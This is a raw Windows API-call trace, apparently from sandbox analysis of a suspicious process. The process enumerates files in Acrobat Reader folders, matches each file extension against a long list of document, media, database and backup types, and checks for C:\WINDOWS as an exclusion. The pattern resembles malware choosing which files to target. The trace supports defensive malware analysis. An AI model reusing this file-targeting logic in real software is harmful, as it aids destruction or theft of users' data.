[0143.426] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 1 [0143.426] lstrlenW (lpString="ui-strings.js") returned 13 [0143.426] lstrlenW (lpString=".1cd") returned 4 [0143.426] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0143.426] lstrlenW (lpString=".3ds") returned 4 [0143.426] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0143.426] lstrlenW (lpString=".3fr") returned 4 [0143.426] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0143.426] lstrlenW (lpString=".3g2") returned 4 [0143.426] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0143.426] lstrlenW (lpString=".3gp") returned 4 [0143.426] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0143.426] lstrlenW (lpString=".7z") returned 3 [0143.426] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0143.426] lstrlenW (lpString=".accda") returned 6 [0143.426] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0143.426] lstrlenW (lpString=".accdb") returned 6 [0143.426] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0143.426] lstrlenW (lpString=".accdc") returned 6 [0143.426] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0143.426] lstrlenW (lpString=".accde") returned 6 [0143.426] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0143.426] lstrlenW (lpString=".accdt") returned 6 [0143.426] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0143.426] lstrlenW (lpString=".accdw") returned 6 [0143.426] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0143.427] lstrlenW (lpString=".adb") returned 4 [0143.427] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".adp") returned 4 [0143.427] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai") returned 3 [0143.427] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0143.427] lstrlenW (lpString=".ai3") returned 4 [0143.427] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai4") returned 4 [0143.427] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai5") returned 4 [0143.427] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai6") returned 4 [0143.427] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai7") returned 4 [0143.427] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ai8") returned 4 [0143.427] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".anim") returned 5 [0143.427] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0143.427] lstrlenW (lpString=".arw") returned 4 [0143.427] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".as") returned 3 [0143.427] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0143.427] lstrlenW (lpString=".asa") returned 4 [0143.427] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".asc") returned 4 [0143.427] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0143.427] lstrlenW (lpString=".ascx") returned 5 [0143.428] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0143.428] lstrlenW (lpString=".asm") returned 4 [0143.428] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".asmx") returned 5 [0143.428] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0143.428] lstrlenW (lpString=".asp") returned 4 [0143.428] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".aspx") returned 5 [0143.428] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0143.428] lstrlenW (lpString=".asr") returned 4 [0143.428] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".asx") returned 4 [0143.428] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".avi") returned 4 [0143.428] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".avs") returned 4 [0143.428] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".backup") returned 7 [0143.428] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0143.428] lstrlenW (lpString=".bak") returned 4 [0143.428] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".bay") returned 4 [0143.428] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".bd") returned 3 [0143.428] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0143.428] lstrlenW (lpString=".bin") returned 4 [0143.428] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".bmp") returned 4 [0143.428] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0143.428] lstrlenW (lpString=".bz2") returned 4 [0143.428] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".c") returned 2 [0143.429] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0143.429] lstrlenW (lpString=".cdr") returned 4 [0143.429] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".cer") returned 4 [0143.429] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".cf") returned 3 [0143.429] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0143.429] lstrlenW (lpString=".cfc") returned 4 [0143.429] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".cfm") returned 4 [0143.429] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".cfml") returned 5 [0143.429] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0143.429] lstrlenW (lpString=".cfu") returned 4 [0143.429] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".chm") returned 4 [0143.429] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".cin") returned 4 [0143.429] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".class") returned 6 [0143.429] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0143.429] lstrlenW (lpString=".clx") returned 4 [0143.429] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0143.429] lstrlenW (lpString=".config") returned 7 [0143.429] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0143.429] lstrlenW (lpString=".cpp") returned 4 [0143.430] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".cr2") returned 4 [0143.430] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".crt") returned 4 [0143.430] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".crw") returned 4 [0143.430] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".cs") returned 3 [0143.430] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0143.430] lstrlenW (lpString=".css") returned 4 [0143.430] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".csv") returned 4 [0143.430] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".cub") returned 4 [0143.430] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dae") returned 4 [0143.430] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dat") returned 4 [0143.430] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".db") returned 3 [0143.430] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0143.430] lstrlenW (lpString=".dbf") returned 4 [0143.430] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dbx") returned 4 [0143.430] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dc3") returned 4 [0143.430] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dcm") returned 4 [0143.430] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".dcr") returned 4 [0143.430] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0143.430] lstrlenW (lpString=".der") returned 4 [0143.431] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dib") returned 4 [0143.431] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dic") returned 4 [0143.431] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dif") returned 4 [0143.431] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".divx") returned 5 [0143.431] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".djvu") returned 5 [0143.431] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".dng") returned 4 [0143.431] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".doc") returned 4 [0143.431] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".docm") returned 5 [0143.431] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".docx") returned 5 [0143.431] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".dot") returned 4 [0143.431] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dotm") returned 5 [0143.431] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".dotx") returned 5 [0143.431] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0143.431] lstrlenW (lpString=".dpx") returned 4 [0143.431] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dqy") returned 4 [0143.431] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dsn") returned 4 [0143.431] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0143.431] lstrlenW (lpString=".dt") returned 3 [0143.432] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0143.432] lstrlenW (lpString=".dtd") returned 4 [0143.432] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0143.432] lstrlenW (lpString=".dwg") returned 4 [0143.432] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0143.432] lstrlenW (lpString=".dwt") returned 4 [0143.432] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0143.432] lstrlenW (lpString=".dx") returned 3 [0143.432] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0143.432] lstrlenW (lpString=".dxf") returned 4 [0143.432] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0143.432] lstrlenW (lpString=".edml") returned 5 [0143.432] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0143.432] lstrlenW (lpString=".efd") returned 4 [0143.432] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0143.432] lstrlenW (lpString=".elf") returned 4 [0143.433] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".emf") returned 4 [0143.433] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".emz") returned 4 [0143.433] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".epf") returned 4 [0143.433] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".eps") returned 4 [0143.433] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".epsf") returned 5 [0143.433] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0143.433] lstrlenW (lpString=".epsp") returned 5 [0143.433] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0143.433] lstrlenW (lpString=".erf") returned 4 [0143.433] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".exr") returned 4 [0143.433] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".f4v") returned 4 [0143.433] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".fido") returned 5 [0143.433] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0143.433] lstrlenW (lpString=".flm") returned 4 [0143.433] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".flv") returned 4 [0143.433] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".frm") returned 4 [0143.433] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".fxg") returned 4 [0143.433] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".geo") returned 4 [0143.433] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0143.433] lstrlenW (lpString=".gif") returned 4 [0143.434] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".grs") returned 4 [0143.434] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".gz") returned 3 [0143.434] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0143.434] lstrlenW (lpString=".h") returned 2 [0143.434] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0143.434] lstrlenW (lpString=".hdr") returned 4 [0143.434] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".hpp") returned 4 [0143.434] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".hta") returned 4 [0143.434] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".htc") returned 4 [0143.434] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".htm") returned 4 [0143.434] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".html") returned 5 [0143.434] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0143.434] lstrlenW (lpString=".icb") returned 4 [0143.434] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".ics") returned 4 [0143.434] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".iff") returned 4 [0143.434] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".inc") returned 4 [0143.434] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".indd") returned 5 [0143.434] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0143.434] lstrlenW (lpString=".ini") returned 4 [0143.434] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0143.434] lstrlenW (lpString=".iqy") returned 4 [0143.435] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".j2c") returned 4 [0143.435] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".j2k") returned 4 [0143.435] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".java") returned 5 [0143.435] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0143.435] lstrlenW (lpString=".jp2") returned 4 [0143.435] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".jpc") returned 4 [0143.435] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".jpe") returned 4 [0143.435] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".jpeg") returned 5 [0143.435] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0143.435] lstrlenW (lpString=".jpf") returned 4 [0143.435] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".jpg") returned 4 [0143.435] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".jpx") returned 4 [0143.435] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0143.435] lstrlenW (lpString=".js") returned 3 [0143.435] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0143.435] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0 [0143.435] FindClose (in: hFindFile=0x3e5c0d8 | out: hFindFile=0x3e5c0d8) returned 1 [0143.435] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.435] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0143.436] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es") returned 127 [0143.436] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es") returned 1 [0143.436] lstrlenW (lpString="eu-es") returned 5 [0143.436] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1 [0143.436] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x52f0068 [0143.436] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es") returned 127 [0143.436] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\eu-es\\*", lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 0x3e5c0d8 [0143.436] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 1 [0143.437] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0dcac | out: lpFindFileData=0x3a0dcac) returned 1 [0143.437] lstrlenW (lpString="ui-strings.js") returned 13 [0143.437] lstrlenW (lpString=".1cd") returned 4 [0143.437] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0143.437] lstrlenW (lpString=".3ds") returned 4 [0143.437] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0143.437] lstrlenW (lpString=".3fr") returned 4 [0143.437] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0143.437] lstrlenW (lpString=".3g2") returned 4 [0143.437] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0143.437] lstrlenW (lpString=".3gp") returned 4 [0143.437] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0143.437] lstrlenW (lpString=".7z") returned 3 [0143.437] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0143.437] lstrlenW (lpString=".accda") returned 6 [0143.437] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".accdb") returned 6 [0143.437] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".accdc") returned 6 [0143.437] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".accde") returned 6 [0143.437] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".accdt") returned 6 [0143.437] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".accdw") returned 6 [0143.437] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0143.437] lstrlenW (lpString=".adb") returned 4 [0143.438] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".adp") returned 4 [0143.438] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai") returned 3 [0143.438] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0143.438] lstrlenW (lpString=".ai3") returned 4 [0143.438] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai4") returned 4 [0143.438] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai5") returned 4 [0143.438] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai6") returned 4 [0143.438] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai7") returned 4 [0143.438] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ai8") returned 4 [0143.438] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".anim") returned 5 [0143.438] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0143.438] lstrlenW (lpString=".arw") returned 4 [0143.438] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".as") returned 3 [0143.438] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0143.438] lstrlenW (lpString=".asa") returned 4 [0143.438] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".asc") returned 4 [0143.438] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".ascx") returned 5 [0143.438] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0143.438] lstrlenW (lpString=".asm") returned 4 [0143.438] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0143.438] lstrlenW (lpString=".asmx") returned 5 [0143.438] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0143.439] lstrlenW (lpString=".asp") returned 4 [0143.439] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".aspx") returned 5 [0143.439] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0143.439] lstrlenW (lpString=".asr") returned 4 [0143.439] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".asx") returned 4 [0143.439] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".avi") returned 4 [0143.439] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".avs") returned 4 [0143.439] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".backup") returned 7 [0143.439] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0143.439] lstrlenW (lpString=".bak") returned 4 [0143.439] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".bay") returned 4 [0143.439] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".bd") returned 3 [0143.439] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0143.439] lstrlenW (lpString=".bin") returned 4 [0143.439] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".bmp") returned 4 [0143.439] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".bz2") returned 4 [0143.439] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".c") returned 2 [0143.439] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0143.439] lstrlenW (lpString=".cdr") returned 4 [0143.439] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".cer") returned 4 [0143.439] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0143.439] lstrlenW (lpString=".cf") returned 3 [0143.440] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0143.440] lstrlenW (lpString=".cfc") returned 4 [0143.440] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".cfm") returned 4 [0143.440] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".cfml") returned 5 [0143.440] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0143.440] lstrlenW (lpString=".cfu") returned 4 [0143.440] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".chm") returned 4 [0143.440] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".cin") returned 4 [0143.440] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".class") returned 6 [0143.440] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0143.440] lstrlenW (lpString=".clx") returned 4 [0143.440] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".config") returned 7 [0143.440] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0143.440] lstrlenW (lpString=".cpp") returned 4 [0143.440] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".cr2") returned 4 [0143.440] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".crt") returned 4 [0143.440] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".crw") returned 4 [0143.440] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".cs") returned 3 [0143.440] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0143.440] lstrlenW (lpString=".css") returned 4 [0143.440] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0143.440] lstrlenW (lpString=".csv") returned 4 [0143.441] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".cub") returned 4 [0143.441] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dae") returned 4 [0143.441] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dat") returned 4 [0143.441] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".db") returned 3 [0143.441] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0143.441] lstrlenW (lpString=".dbf") returned 4 [0143.441] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dbx") returned 4 [0143.441] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dc3") returned 4 [0143.441] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dcm") returned 4 [0143.441] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dcr") returned 4 [0143.441] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".der") returned 4 [0143.441] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dib") returned 4 [0143.441] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dic") returned 4 [0143.441] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0143.441] lstrlenW (lpString=".dif") returned 4 